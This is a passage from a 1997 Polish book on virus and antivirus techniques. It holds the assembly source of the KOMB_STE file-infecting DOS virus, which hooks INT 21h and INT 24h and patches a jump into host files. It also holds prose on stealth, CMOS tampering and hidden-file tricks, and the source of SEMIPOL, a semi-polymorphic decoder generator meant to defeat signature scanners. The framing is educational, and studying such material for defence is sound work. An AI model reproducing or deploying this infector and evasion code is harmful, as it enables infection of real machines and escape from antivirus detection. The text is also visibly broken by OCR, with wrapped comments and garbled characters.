poczatek pliku
Call StareInt21 ; wywolaj stare
przerwanie 21h
jc ZamknijPlik ; gdy CF=1 to blad
mov cx,3 ; ilosc zapisywanych
bajtow
lea dx,Skok ; podaj skad zapisac
rozkaz skoku
mov ah,30h ; funkcja DOS - zapisz
do pliku
Call StareInt21 ; wywolaj stare
przerwanie 21h
jc ZamknijPlik ; gdy CF=1, to blad
mov cx,Czas ; przywroc czas
mov dx,VZnacznik ; zaznacz w dacie
infekcje pliku
mov ax,5701h ; funkcja DOS - wpisz
date, czas
Call StareInt21 ; wywolaj stare
przerwanie 21h
ZamknijPlik:
mov ah,3Eh ; funkcja DOS -
zamknij plik
Call StareInt21 ; wywolaj stare
przerwanie 21h
PrzywrocAtrybut:
mov cl,cs:Atrybut ; podaj stary atrybut
mov ch,0 ; CX=CL
mov dx,cs:StaryDX ; \ podaj nazwe pliku
do zmiany
mov ds,cs:StaryDS ; / w DS:DX
mov ax,4301h ; funkcja DOS - zmien
atrybut
Call StareInt21 ; wywolaj stare
przerwanie 21h
Call PrzywrocStare24
pop di si dx cx bx ax ds es ; przywroc zmieniane
rejestry
PowrotZInt21:
db 0EAh ; mnemonik rozkazu
skoku JMP FAR
Stare21Ofs dw ? ; z tych pol korzysta
skok
Stare21Seg dw ? ; aby oddac sterowanie
do poprzedniego
; elementu lancucha
przerwan INT 21
StareInt21:
pushf ; \ symuluj wywolanie
przerwania
Call dword ptr cs:[Stare21Ofs] ; / wyowlaj stare
przerwanie
ret ; powroc z wywolania
UstawNowe24:
push ds es ax bx dx ; zachowaj zmieniane
rejestry
mov ax,3524h ; \ pobierz stara
i ustaw
Call StareInt21 ; \ nowa procedure
obslugi
mov cs:Stare24Seg,es ; \ przerwania
krytycznego
mov cs:Stare24Ofs,bx ; \ INT 24h w celu
ochrony
; \ przed
ewentulanymi bledami
push cs ; / (np; podczas
proby zapisu
pop ds ; / na
zabezpieczona przed
lea dx,NoweInt24 ; / zapisem
dyskietce nie
mov ax,2524h ; / zostanie
wywolany dialog
Call StareInt21 ; / ARIF)
pop dx bx ax es ds ; przywroc zmieniane
rejestry
ret ; powroc z wywolania
PrzywrocStare24:
push ds ax dx ; zachowaj zmieniane
rejestry
lds dx,dword ptr cs:Stare24Ofs ; \ przywroc stare
przerwanie
mov ax,2524h ; - INT 24
Call StareInt21 ; /
pop dx ax ds ; przywroc zmieniane
rejestry
ret
DrukSI: ; procedura wyswietla
tekst z
; CS:[DI+SI]
add di,si ; tekst w DI, dodaj SI
Druk: ; procedura wyswietla
tekst z
; CS:[DI]
push ax di ; zachowaj zmieniane
rejestry
DrukPetla:
mov al,[di] ; pobierz znak
or al,al ; czy koniec tekstu
(znak=NUL) ?
jz DrukPowrot ; TAK - koncz pisanie
mov ah,0Eh ; funkcja BIOS -
wyswietl znak
int 10h ; wywolaj funkcje
inc di ; zwieksz indeks (na
nastepny znak)
jmp short DrukPetla ; idz po nastepny znak
DrukPowrot:
pop di ax ; przywroc zmieniane
rejestry
ret ; powrot
DrukHEX16: ; drukuje liczbe
heksalna z AX
push ax ; zachowaj AX
(dokladniej AL)
mov al,ah ; najpierw starsza
czesc
Call DrukHex8 ; wyswietl AH
pop ax ; przywroc AX
(dokladniej AL)
; i wyswietl AL
DrukHex8: ; drukuje liczbe
heksalna z AL
push ax ; zachowaj AX
(dokladniej 4 bity AL)
shr al,1 ; \
shr al,1 ; \ podziel AL przez
16
shr al,1 ; / czyli wez 4
starsze bity AL
shr al,1 ; /
Call DrukHex4 ; i wydrukuj czesc
liczby szesnastkowej
pop ax ; przywroc AX
(dokladniej 4 bity AL)
and al,15 ; wez 4 mlodsze bity
AL
; i wydrukuj czesc
liczby szesnastkowej
DrukHex4:
cmp al,10 ; \ konwersja liczby
binarnej
jb Cyfra09 ; \ na znak
add al,'A'-'0'-10 ; - 00..09, 0Ah..0Fh
na
Cyfra09: ; / '0'..'9',
'A'..'F'
add al,'0' ; /
mov ah,0Eh ; funkcja BIOS -
wyswietl znak
int 10h ; wywolaj funkcje
ret ; powrot
Decyzja: ; \ pobiera z
klawiatury
mov ah,0h ; \ znak i
sprawdza czy jest
int 16h ; \ to litera
'T'lub 't'
and al,0DFh ; \ jesli tak,
ustawia CF=0
cmp al,'T' ; \ jesli nie,
ustawia CF=1
clc ; /
je DecyzjaTak ; /
stc ; /
DecyzjaTak: ; /
ret ; /
NoweInt24: ;
mov al,3 ; sygnalizuj CF=1, gdy
dowolny blad
; nie wywoluj ARIF
iret ; powrot z przerwania
TeCopyRight db CR,LF,'KOMB_STE v1.0, Autor : Adam
Blaszczyk 1997',NUL
TeInstalacja db CR,LF,'_ Zainstalowac KOMB_STE w pamieci
operacyjnej (T/N) ?',NUL
TeBylZainstalowany db CR,LF,'_ KOMB_STE jest juz w pamieci
!',NUL
TeZainstalowany db CR,LF,'_ KOMB_STE zostal zainstalowany w
segmencie : ',NUL
TeZnalazlemPlik db CR,LF,'_ Znalazlem plik : "',NUL
TeInfekcja db '"',CR,LF,' Czy chcesz sprobowac
zainfekowac go wirusem KOMB_STE (T/N) ?',NUL
StareBajty db 0CDh,20h,90h
Skok db 0E9h
KoniecWirusa:
Skok2 dw ?
StaryDS dw ?
StaryDX dw ?
Atrybut db ?
Czas dw ?
Stare24Ofs dw ?
Stare24Seg dw ?
KOMB_STE ends
end start
7.1.3. Podawanie prawdziwej zawartości sektorów (ang. sector level stealth)
Oczywiście, technikę stealth można stosować także w przypadku odczytu sektorów;
należy przejąć obsługę funkcji (02/13) oraz ewentualnie (0A/13). W momencie próby
odczytu zarażonego MBR lub BOOT-sektora wirus podsuwa programowi odczytującemu
ich oryginalna, nie zainfekowaną zawartość (podobnie jak w przypadku plików, sektory
zainfekowane muszą być w jakiś sposób oznaczone, żeby wirus mógł je rozpoznać).
Aby ustrzec się przed programami umożliwiającymi odświeżenie tablicy partycji lub
BOOT-sektora, można dodatkowo zabezpieczyć sektory zawierające wirusa przed
zapisem poprzez przejęcie funkcji (03/13) i ewentualnie (0B/13).
7.1.4. Fałszowanie odczytywanych sektorów na etapie obsługi przerwań
sprzętowych (ang. hardware level stealth)
W przypadku sektorów istnieje możliwość zastosowania tzw. techniki hardtvare level
stealth, która jest rozszerzeniem metody opisanej w poprzednim punkcie. Technika ta
polega na przechwyceniu odwołań do dysków już na etapie przerwania sprzętowego
IRQ 14 (INT 76h) lub poprzez przejęcie wywoływanej przez to przerwanie funkcji
(9100/15h), co umożliwia oszukiwanie systemu na najniższym poziomie programowym-
Podczas obsługi tego przerwania lub funkcji wirus może odczytać z portów lFx dane o
aktualnie wykonywanej operacji i następnie, w razie wykrycia odwołania np. do MBR,
zmienić rozkaz tak, aby odczytywać inny sektor, zawierający prawdziwą zawartość
MBR.
Sprawdzenie aktualnie wykonywanej operacji polega na odczycie baj-tu z portu 1F7
(rejestr statusowy IDE) i przetestowaniu bitów jego młodszej części. Jeżeli któryś z nich
jest ustawiony (tzn. ma wartość l), oznacza to, iż właśnie jest wykonywana operacja
odczytu. Parametry odczytywanego sektora (cylinder, głowicę, sektor) można odczytać z
portów 1F3, 1F4/1F5/1F6. Jeżeli odczytane dane są zgodne z oczekiwanymi, wirus musi
wykonać do końca operację odczytu oraz ustawić dane w portach kontrolera na inny
sektor (np. na taki, w którym znajduje się oryginalna zawartość odczytywanego sektora).
W efekcie program antywirusowy, który używa do odczytu sektorów bezpośredniego
adresu przerwania int 13h, zawartego w BIOS-ie, i tak będzie oszukiwany przez wirusa.
Aby technika hardware level stealth zadziałała, sterownik dysku musi generować IRQ14
(co można ustawić programowo) przy realizacji operacji dostępu do dysku.
7.2. ModyfikacjaCMOS-a
Nowoczesne BIOS-y zawierają mechanizmy zabezpieczania niektórych newralgicznych
sektorów przed zapisem (MBR, BOOT-sektory). W momencie wykrycia próby zapisu do
któregoś z tych sektorów system najczęściej w jakiś sposób alarmuje użytkownika i
czasem prosi go o potwierdzenie wykonywanej operacji lub też, aby kompletnie
uniemożliwić tę operację, zawiesza komputer i czeka na naciśnięcie klawisza RESET.
To, czy BIOS będzie reagował na próby zapisu do newralgicznych sektorów, ustalane
jest zwykle z poziomu programu SETUP, który dostępny jest po naciśnięciu jakiegoś
klawisza (najczęściej DEL lub CTRL-ALT-ESC) podczas uruchamiania komputera.
Ustalone w programie SETUP parametry są po jego opuszczeniu zapisywane do
podtrzymywanej baterią pamięci CMOS.
Korzystając z tego, iż pamięć ta dostępna jest programowo, można zmodyfikować
pewne dane, tak aby np. na chwilę odblokować zapis do MBR. Wymaga to jednak
znajomości różnych systemów BIOS, gdyż znajdująca się w nich pamięć CMOS ma
zazwyczaj zawartość odmienną od pamięci w innych komputerach, a jej zgodność
ogranicza się do ustalonego znaczenia początkowych komórek tej pamięci (co jest
konieczne ze względu na kompatybilność).
Drugim parametrem możliwym do zmodyfikowania w CMOS-ie jest wartość określająca,
jakie napędy dyskietek zamontowane są w komputerze. Wirus może wyzerować tę
wartość, tak iż przy starcie BIOS nie będzie widział żadnej dyskietki i będzie próbował
załadować system z twardego dysku (z MBR), razem ze znajdującym się w nim
wirusem. Po załadowaniu wirus przywraca parametry dyskietek w CMOS-ie i następnie
sprawdza, czy napęd FDD zawiera dyskietkę i ewentualnie wczytuje z niej BOOT-sektor,
po czym oddaje do niego sterowanie.
Zainstalowany w systemie wirus przy odwołaniach do dyskietek ustawia parametry w
CMOS-ie, a po ich zakończeniu znowu je kasuje, tak więc po wyłączeniu komputera
parametry w CMOS-ie będą najczęściej skasowane. Takie działałanie dość mocno
utrudni załadowanie systemu z czystej dyskietki, zwłaszcza jeśli wirus potrafi także
zainstalować w pamięci CMOS hasło, uniemożliwiające przeciętnemu użytkownikowi
dostanie się do programu SETUP.
7.3. Atrybut etykiet dysku (ang. VolumeID)
Do ukrywania się w systemie niektóre wirusy wykorzystują fakt, iż programy
przeglądające zawartości katalogu (typowe nakładki lub polecenie DIR) nie pokazują
zwykle pozycji katalogu zawierających atrybut VolumeID (etykieta dysku). Wirusy dodają
do dotychczasowych atrybutów pliku, zawierającego np. kod wirusa, także wyżej
wymieniony atrybut (np. poprzez wykorzystanie omówionych wcześniej tablic SFT). Tak
ukryty plik będzie widoczny najczęściej tylko w tzw. edytorach binarnych, operujących
na zawartości fizycznych sektorów (np. Disk Editor).
Ta sztuczka nie wymaga instalowania w systemie żadnego rezydent-nego kodu, gdyż
niewidzialność zagwarantuje sam system DOS.
7.4. Dodatkowe ścieżki na dyskach
Ze względu na to, iż wirusy zarażające sektor MBR lub BOOT-sektory są programami
zajmującymi zwykle obszar będący wielokrotnością kilku sektorów, twórca wirusa musi
podjąć decyzję, gdzie umieścić wirusa po infekcji.
Nie mogą to być sektory wybrane na chybił trafił, gdyż ich zamazanie kodem wirusa
może zniszczyć dane, ważne dla działania systemu. Większość wirusów dopisuje się na
początku dysku, w obszarze pierwszego cylindra (bezpośrednio za tablicą partycji).
Tylko nieliczne wirusy potrafią lepiej ukryć swój kod przed programami antywirusowymi.
Korzystając z tego, iż większość dysków posiada więcej sektorów niż liczba widziana
przez system BIOS, wirusy doformato-wywują sobie dodatkowe używane sektory, po
czym je wykorzystują.
kodu wirusa. Jedyną wadą tradycyjnego szyfrowania była konieczność pozostawienia
nie zakodowanej procedury dekodującej, co w pewnym sensie skazywało wirusa na
rychłe wykrycie, gdyż nawet kilkubajtowy kod takiej procedury stanowił w zasadzie
sygnaturę wirusa, umożliwiającą jego identyfikację. Aby ominąć tę przeszkodę, zaczęto
rozważać możliwość stworzenia generatora procedur dekodu-jących, które różniłyby się
rozmieszczeniem i doborem instrukcji, rejestrami roboczymi oraz sposobem
deszyfrowania. Przejście od teorii do praktyki stało się możliwe wraz z pojawieniem się
MtE, który choć pierwszy, do dziś uznawany jest za generator produkujący jedne z
najbardziej zmiennych i wyszukanych (ang. sophisticated) procedur
dekodujących. O stopniu skomplikowania wirusa szyfrującego swój kod decydują
dwie poniższe procedury:
> procedura generująca szyfrator (ang. encryptor);
> procedura generująca dekoder (ang. decryptor).
W zależności od ich skomplikowania można wyróżnić wirusy, które
zawierają:
> stały szyfrator + stały dekoder - kod wirusa wraz z dekoderem za każdym razem
wygląda identycznie (z dokładnością do kodu wirusa i pominięciem zmiennych
zapamiętywanych wewnątrz wirusa); wykrywanie wirusa przebiega identycznie jak w
przypadku wirusów nieszyfrowanych;
> stały szyfrator + zmienny dekoder - raczej rzadko stosowany;
jeżeli ktoś potrafi zastosować zmienny dekoder, zwykle tworzy także zmienną procedurę
szyfrującą;
> zmienny szyfrator + stały dekoder - kod wirusa za każdym razem wygląda inaczej,
dekoder jest zawsze taki sam; wykrycie procedury dekodującej wykrywa również wirusa;
> zmienny szyfrator + zmienny dekoder - kod wirusa wraz z dekoderem za każdym
razem wygląda inaczej; są to tzw. wirusy
polimorficzne
ROZDZIAŁ 8
8.1. Procedury szyfrujące kod
Do zaszyfrowania wirusa można zastosować dowolną z dostępnych w procesorze,
odwracalnych operacji matematycznych lub logicznych, a więc:
> dodawanie - operacja ADD;
> odejmowanie - operacja SUB;
> suma modulo 2 - operacja XOR;
> negowanie arytmetyczne - operacja NEG;
> negowanie logiczne - operacja NOT;
> przesunięcie cykliczne w lewo - operacja ROL;
> przesunięcie cykliczne w prawo - operacja ROR.
Są to najczęściej wykorzystywane metody szyfrowania, choć nic nie stoi na
przeszkodzie, aby wprowadzić inne, np. przestawianie bajtów miejscami, traktowanie
licznika lub indeksu jako wartości używanej w wymienionych wyżej operacjach
matematycznych i logicznych.
To, która operacja (lub operacje) będzie użyta oraz z jakimi parametrami, zależy
wyłącznie od inwencji projektującego procedurę. Jeżeli składa się ona za każdym razem
z tych samych instrukcji, to jest to stała procedura szyfrująca i będzie dawać za każdym
razem taki sam obraz zakodowanego wirusa. Zupełnie inaczej sprawa ma się ze
zmienną procedurą szyfrującą, która po wywołaniu wybiera przypadkowo ilość operacji
szyfrujących, a następnie w pętli losuje:
> rodzaj operacji wykonywanej na argumencie;
> argumenty operacji;
> rodzaj argumentów (bajt, słowo, podwójne słowo, ewentualnie
inne).
Wybierane operacje oraz argumenty należy gdzieś zapamiętać (zwykle w tablicy lub na
stosie), gdyż w przyszłości będzie je wykorzystywać procedura generująca dekoder.
8.2. Procedury dekodujące
Działanie typowego dekodera ogranicza się do wykonania w odwrotnej kolejności
operacji wykonywanych przez procedurę szyfrującą, z uwzględnieniem koniecznych
zmian operacji, np. ADD-SUB, SUB-ADD. Na przykład, jeżeli procedura szyfrująca
wygląda następująco:
MOV CX, IleBajtˇw
MOV BX,Pocz╣tekDanychDoZakodowania
Pŕtla:
XOR byte ptr [BX],12h
ADD byte ptr [BX],34h
NOT byte ptr [BX]
INC BX
LOOP Pŕtla,
to procedura dekodująca powinna wyglądać mniej więcej tak:
MOV CX, IleBajtˇw
MOV BX,Pocz╣tekDanychDoZakodowania
Pŕtla:
NOT byte ptr [BX]
SUB byte ptr [BX],34h
XOR byte ptr [BX],12h
INC BX
LOOP Pŕtla.
W przykładzie tym operacja ADD z procedury szyfrującej przeszła w operację SUB w
dekoderze (oczywiście można zastosować także operację ADD z przeciwnym
argumentem, tzn. -34h). Niestety, nawet jeżeli kod wirusa jest szyfrowany za każdym
razem inaczej, to i tak wszystkie możliwe do wygenerowania procedury dekodera będą
zawsze zgodne ze schematem (dla poprzedniego przykładu):
MOV CX,IleBajtˇw
MOV BX,Pocz╣tekDanychDoZakodowania
Pŕtla:
DEKODUJ [BX] DEKODUJ [BX]
DEKODUJ [BX]
INC BX
LOOP Pŕtla,
co dla nowoczesnych skanerów nie stanowi żadnej przeszkody
Aby uzyskać za każdym razem inny, bardziej unikalny dekoder, można zastosować
zmienne, polimorficzne procedury dekodujące.
8.2.1. Polimorficzne procedury dekodujące
Stworzenie własnego wirusa polimorficznego nie jest zadaniem łatwym, czego
pośrednim dowodem jest dość mała ilość oryginalnych wirusów tego typu.
Najtrudniejszym elementem jest oczywiście stworzenie samego generatora zmiennych
procedur dekodujących.
Ze względu na specyfikę zadania, jakie musi on wykonywać (generowanie
wykonywalnych sekwencji rozkazów), do jego zaprogramowania niezbędna jest
znajomość rozkazów procesorów 80x86 oraz ich maszynowych odpowiedników.
Poniżej omówiono dwie metody tworzenia zmiennych procedur szyfrujących. W obu
przypadkach założono, iż cały kod wirusa został już zakodowany w sposób omówiony w
poprzednich punktach, zaś operacje i ich argumenty są zachowane w jakiejś tablicy.
8.2.1.1. Semi-polimorfizm
Aby rozkodować kod wirusa najczęściej stosuje się pętlę podobną do poniższej
sekwencji:
MOV licznik, IleDanych
MOV indeks, Pocz╣tekDanychDoZakodowania
Pŕtla:
dekoduj_i [indeks]
DEKODUJ_2 [indeks]
DEKODUJ_N [indeks]
ADD indeks, przyrost
LOOP Pŕtla
Jest to procedura, którą bardzo larwo wykryć, ponieważ w zasadzie jest ona stalą.
Chcąc uczynić ją w jakiś sposób zmienną, można zdefiniować pewną ilość podobnych
do siebie w działaniu procedur i spośród nich losować tę, która zostanie użyta przy
kolejnej generacji wirusa. Niektóre wirusy zawierają od kilku do kilkudziesięciu takich
stałych procedur dekodujących, które choć działają tak samo, zbudowane są z różnych
rejestrów i instrukcji. Ze względu na ograniczoną ilość takich procedur, które mogą być
zawarte w ciele wirusa (zwiększają one przecież długość kodu), ilość różnych możliwych
wariantów wirusa jest tak naprawdę bardzo ograniczona.
Inny sposób uzyskania pewnej zmienności w procedurze dekodującej polega na
stworzeniu bufora wypełnionego przypadkowymi wartościami, w którym umieszcza się
kolejne instrukcje procedury dekodującej, a po każdej z nich - rozkaz skoku do
następnej instrukcji. Zaprogramowanie generatora takich procedur nie stanowi dużego
problemu. Wystarczy znać odpowiednie kody maszynowe kolejnych rozkazów
procedury dekodującej i sekwencyjnie umieszczać je w buforze, a bezpośrednio za nimi
generować rozkaz skoku o kilka bajtów do przodu, np. rozkazem JMP SHORT NEAR
(kod maszynowy 0EB/??) lub JMP NEAR (kod maszynowy E9/??/??).
Jedynym problemem, na jaki natknąć się może twórca takiej procedury są offsety, pod
które powinien skakać program przy wykonywaniu pętli, gdyż zapisując instrukcje
sekwencyjnie napotykamy na konieczność umieszczenia wartości początkowej np. w
rejestrze, choć jeszcze jej nie znamy. Aby ominąć tę przeszkodę, najprościej
zapamiętać offsety do instrukcji, zarezerwować dla nich miejsce, a następnie w dalszej
części kodu (kiedy już są znane), zmodyfikować je pod zapamiętanymi offsetami.
W zamieszczonym programie przykładowym za pomocą powyższej metody szyfrowany
jest krótki programik, mający za zadanie wyświetlenie komunikatu po jego uruchomieniu.
Wynik kilkakrotnego działania procedury zapisywany jest w plikach SEMI????.COM,
gdzie ???? jest parametrem podawanym przy starcie programu (w wypadku braku
parametru - domyślnie=10). Wygenerowane pliki zawierają tylko jeden stały bajt na
początku programu (część rozkazu JMP SHORT o kodzie EB). Poprzez zastąpienie
procedury Losowy-Skok (wstawić RET zaraz po etykiecie LosowySkok:) można łatwo
zmodyfikować ten program, tak aby generował pliki szyfrowane w standardowy sposób
(bez dodawania losowych skoków pomiędzy instrukcjami).
;----------------------------------------------------------------
------------;
;
;
; Czesc ksiazki : "Nowoczesne techniki wirusowe i
antywirusowe" ;
;
;
; SEMIPOL v1.0, Autor : Adam Blaszczyk 1997
;
;
;
; Program generuje pliki zakodowane semi-
polimorficznie ;
; (pomiedzy wlasciwe instrukcje dekodera sa
wstawiane ;
; przypadkowe rozkazy JUMP)
;
; Kompilacja :
;
; TASM /m2 SEMIPOL.ASM
;
; TLINK SEMIPOL.OBJ
;
;
;
;----------------------------------------------------------------
------------;
SEMI_POL SEGMENT
ASSUME CS:SEMI_POL, DS:SEMI_POL, SS:SEMI_POL, ES:SEMI_POL
NUL = 00h ; \
TAB = 09h ; \
LF = 0Ah ; \ stale znakowe
CR = 0Dh ; /
SPACE = 20h ; /
DOLAR = '$' ; /
RozmiarStosu equ 200h ; rozmiar stosu
DomyslnieIlePlikow = 10 ; domyslnie generuj 10
plikow
;----------------------------------------------------------------
-------------
Start:
Call InicjujSystem ; ustaw zmienne programu
lea si,TeCopyRight ; wyswietl info o
programie
Call Druk
Call WezParametry ; wez parametry z linii
polecen
lea si,TeGenerator ; wyswietl info o
dzialaniu
Call Druk
Call GenerowaniePlikow ; generuj pliki
mov ax,4C00h ; funkcja DOS - powrot do
systemu
int 21h ; wywolaj funkcje
;----------------------------------------------------------------
-------------
GenerowaniePlikow proc near ; procedura generuje
pliki SEMI????.COM
push ds es ax bx cx dx si di ; zachowaj na stosie
zmieniane rejestry
mov cx, LiczbaPlikow ; cx=ile plikow do
wygenerowania
GenJedenPlik:
push cx ; zachowaj na stosie :
ile plikow
lea si,AktualnaNazwaPliku ; \ wyswietl nazwe pliku
Call DrukLn ; /
lea dx,AktualnaNazwaPliku ; sprobuj otworzyc
(tworzony) plik
mov ax,3D02h ; funkcja DOS - otworz
plik
int 21h ; wywolaj funkcje
jnc WezUchwyt ; CF=0 plik juz istnial,
nadpisz go
mov cx,20h ; atrybut pliku
tworzonego : Archive
lea dx,AktualnaNazwaPliku ; podaj nazwe tworzonego
pliku
mov ah,5Bh ; funkcja DOS - tworz
plik
int 21h ; wywolaj funkcje
WezUchwyt:
mov UchwytPliku,ax ; zapamietaj uchwyt pliku
lea si,StartKoduPrzykladowego ; DS:SI - skad brac kod
do szyfrowania
lea di,BuforDocelowy ; ES:DI - dokad zapisywac
zaszyfrowany kod
mov cx,RozmiarPrzykladowegoKodu ; CX - rozmiar
szyfrowanego kodu
Call SemiPol
; CX:=Ile danych do
zapisu
lea dx,BuforDocelowy ; skad zapisac dane
mov bx,UchwytPliku ; numer uchwytu
mov ah,40h ; funkcja DOS - zapisz do
pliku
int 21h ; wywolaj funkcje
mov ah,3Eh ; funkcja DOS - zamknij
plik
int 21h ; wywolaj funkcje
Call ZwiekszNumerPliku ; SEMI(xxxx) ->
SEMI(xxxx+1)
pop cx ; przywroc ze stosu : ile
plikow
loop GenJedenPlik ; generuj CX plikow
pop di si dx cx bx ax es ds ; przywroc ze stosu
zmieniane rejestry
ret ; powrot z procedury
GenerowaniePlikow endp
;----------------------------------------------------------------
-------------
ZwiekszNumerPliku proc near ; zmienia SEMI(xxxx) na
SEMI(xxxx+1)
; operuje na lancuchu
'SEMIxxxx'
push cx si ; zachowaj na stosie
zmieniane rejestry
mov cx,4 ; CX = ile max. obiegow
petli = 4 cyfry
ZwiekszNumerPlikuPetla:
mov si,cx
dec si
inc byte ptr [AktNumPliku+si] ; zwieksz cyfre od konca
w SEMIxxxx
cmp byte ptr [AktNumPliku+si],'9'
; czy numer > 9 ?
jbe ZwiekszNumerPlikuPowrot ; nie wiekszy = powrot z
procedury
; wiekszy = uwzglednij
przeniesienie
mov byte ptr [AktNumPliku+si],'0'
; cyfra : 9->0
loop ZwiekszNumerPlikuPetla ; ewentualnie powtarzaj
ZwiekszNumerPlikuPowrot:
pop si cx ; przywroc ze stosu
zmieniane rejestry
ret ; powrot z procedury
ZwiekszNumerPliku endp
;----------------------------------------------------------------
-------------
WezParametry proc near ; pobiera parametry z
PSP:80h
push ds ; zachowaj DS
mov di,DomyslnieIlePlikow ; DI=ile plikow
wygenerowac
mov ds,PSP_Segment ; DS:=PSP
mov si,80h ; DS:SI=PSP:80
lodsw ; DS:SI=PSP:82,
AX:=licznik znakow
or al,al ; czy sa jakies znaki w
linii polecen ?
jz WezParametryPowrot ; nie = wyjdz z procedury
SzukajCyfry:
lodsb ; wez znak
cmp al,SPACE ; \pomin spacje
je SzukajCyfry ; /
cmp al,TAB ; \pomin tabulator
je SzukajCyfry ; /
mov bx,si ; zachowaj pozycje w
lancuchu
SzukajCR: ; szukaj konca ciagu
znakow
lodsb ; wez znak
cmp al,CR ; czy koniec lancucha ?
je LancuchNaLiczbe ; tak = konwersja
cmp al,SPACE ; czy spacja ?
je LancuchNaLiczbe ; tak = konwersja
cmp al,TAB ; czy tabulator ?
je LancuchNaLiczbe ; tak = konwersja
cmp al,'0' ; \
jb WezParametryPowrot ; \ czy znak w
zakresie
; - '0'..'9'
cmp al,'9' ; / jezeli nie, to
blad
ja WezParametryPowrot ; /
jmp short SzukajCR ; wez kolejny znak
LancuchNaLiczbe: ; konwersja lancucha na
liczbe
mov cx,si ; wez koniec lancucha
sub cx,bx ; odejmij poczatek
lancucha
jcxz WezParametryPowrot ; skocz, gdy nie ma czego
konwertowac
cmp cx,4 ; czy liczba > 9999 ?
ja WezParametryPowrot ; skocz, jesli tak
mov bx,1 ; BX zawiera kolejne
potegi 10
xor di,di ; DI zawiera aktualna
sume
LancuchNaLiczbeLoop:
; znaki czytamy od konca
dec si ; \ SI:=SI-2
dec si ; /
lodsb ; pobierz znak
sub al,'0' ; konwertuj na liczbe z
zakresu 0..9
mov ah,0 ; AX=AL
mul bx ; mnoz przez kolejna
potege 10
add di,ax ; dodaj do sumy
mov ax,10 ; zwieksz potege 10
mul bx ; pomnoz 10*BX
xchg ax,bx ; BX:=10 do kolejnej
potegi
; 1,10,100,1000
loop LancuchNaLiczbeLoop ; konwertuj kolene cyfry
WezParametryPowrot: ; DI zawiera liczbe
plikow
pop ds ; przywroc DS ze stosu
mov LiczbaPlikow,di ; przepisz do zmiennej
ret ; powrot z procedury
WezParametry endp
;----------------------------------------------------------------
-------------
DrukLn proc near ; procedura wyswietla
tekst ASCIIZ
; spod adresu CS:SI i
dodaje Enter
push si ; SI sie zmienia, trzeba
zachowac
Call Druk ; najpierw wyswietl tekst
lea si,TeCRLF ; \ a teraz dodaj CR,LF
Call Druk ; /
pop si ; przywroc SI
ret ; powrot z procedury
DrukLn endp
;----------------------------------------------------------------
-------------
Druk proc near ; procedura wyswietla
tekst ASCIIZ
; spod adresu CS:SI
push ax ; \ zachowaj zmieniane
rejestry
push si ; /
DrukNastepnyZnak:
lods byte ptr cs:[si] ; wez kolejny znak
or al,al ; czy znak jest zerem
jz DrukPowrot ; tak=koniec napisu,
wyjdz z petli
Call DrukZnak ; jezeli nie, to wyswietl
(znak w AL)
jmp short DrukNastepnyZnak ; idz po nastepny znak
DrukPowrot: ; tekst wydrukowany
pop si ; \ przywroc zmieniane
rejestry
pop ax ; /
ret ; powrot z procedury
Druk endp
;----------------------------------------------------------------
-------------
DrukZnak proc near ; procedura wyswietla
znak w AL
push ax ; zachowaj zmieniany
rejestr
mov ah,0Eh ; funkcja BIOS - wyswietl
znak w AL
int 10h ; wywolaj funkcje
pop ax ; przywroc zmieniany
rejestr
ret ; powrot z procedury
DrukZnak endp
;----------------------------------------------------------------
-------------
InicjujSystem proc near ; ustawia stos, DS, ES
itd.
pop bp ; zachowaj adres powrotu
z procedury
; bo stos zostanie
przeniesiony
mov CS:PSP_Segment,ds ; zapamietaj PSP
mov ax,cs ; \
mov ds,ax ; - CS=DS=ES
mov es,ax ; /
mov ss,ax ; \ stos na koniec
programu
lea sp,StosKoniec ; /
cld ; DF=1, zwiekszaj przy
operacjach lancuchowych
jmp bp ; powrot z procedury
InicjujSystem endp
;----------------------------------------------------------------
-------------
SemiPol:
push ax si di ; zachowaj na stosie
zmieniane rejestry
shr cx,1 ; dlugosc/2 bo szyfrujemy
slowa
inc cx ; dla pewnosci, ze
wszystkie bajty zostana
; zaszyfrowane
mov Semi_IleDanych,cx ; \
mov Semi_Skad,si ; - zachowaj dane
mov Semi_Dokad,di ; /
call PseudoLosowa ; wez przypadkowa liczbe
mov Semi_Losowa,ax ; bedzie jej uzywac
szyfrator i deszyfrator
; szyfruj kod
lea di,TMPBufor ; gdzie zapisac
szyfrowany kod
Szyfruj:
lodsw ; wez dana
add ax,Semi_Losowa ; szyfruj ja
stosw ; zapisz zaszyfrowana
dana
loop Szyfruj ; powtarzaj szyfrowanie
; wpisz "smieci" do
bufora
mov di,Semi_Dokad ; bufor docelowy (do
zapisu na dysk)
mov cx,256 ; CX:=AX:=ile slow
zapisac (1..256)
Smietnik: ; wypelnianie
Call Pseudolosowa ; wez przypadkowa dana
stosw ; zapisz ja
loop Smietnik ; zapisz "smieci" w
buforze
; generuj procedure
dekodera
;
; Dekoder ma nastepujaca
postac :
;
; mov
si,PoczatekDanych BE,????
; mov cx,IleDanych
B9,????
; Petla:
; sub [si],Losowa
81,2C,????
; dec cx
49
; jz Koniec
74,??
; jmp Petla
E9,????
; Koniec:
;
mov di,Semi_Dokad ; bufor docelowy (do
zapisu na dysk)
call LosowySkok ; wstaw losowy skok
mov al,0BEh ; DEKODER: mov si, ofset
Poczaek
stosb ; BE,????
mov Semi_GdziePocz,di ; ofset bedzie wstawiony
pozniej
stosw ; zostaw miejsce na ofset
call LosowySkok ; wstaw losowy skok
mov al,0B9h ; DEKODER: mov
cx,IleDanych
stosb ; B9,????
mov ax,Semi_IleDanych ; wpisz, ile danych do
odszyfrowania
stosw ;
call LosowySkok ; wstaw losowy skok
mov Semi_Petla,di ; DEKODER: sub
[si],Losowa
mov ax,2C81h ; pierwsza czesc rozkazu
stosw
mov ax,Semi_Losowa ; zapisz wartosc
dekodujaca
stosw ; zaszyfrowany program
call LosowySkok ; wstaw losowy skok
mov al,46h ; DEKODER: inc si
stosb
call LosowySkok ; wstaw losowy skok
mov al,46h ; DEKODER: inc si
stosb
call LosowySkok ; wstaw losowy skok
mov al,49h ; DEKODER: dec cx
stosb
call LosowySkok ; wstaw losowy skok
mov al,74h ; DEKODER: JZ ??
stosb ; wstaw pierwsza czesc
rozkazu
mov Semi_DokadJZ,di ; zostanie ustawione
pozniej
stosb ; zostaw miejsce na ofset
call LosowySkok ; wstaw losowy skok
mov al,0E9h ; DEKODER: JNZ -> JMP z
powrotem
stosb ; wstaw E9
mov ax,Semi_Petla ; oblicz ofset do DEKODER
: Petla:
sub ax,di ;
sub ax,2 ; odejmij dlugosc
operandu w E9,????
stosw ;
mov bx,Semi_DokadJZ ; oblicz ofset do DEKODER
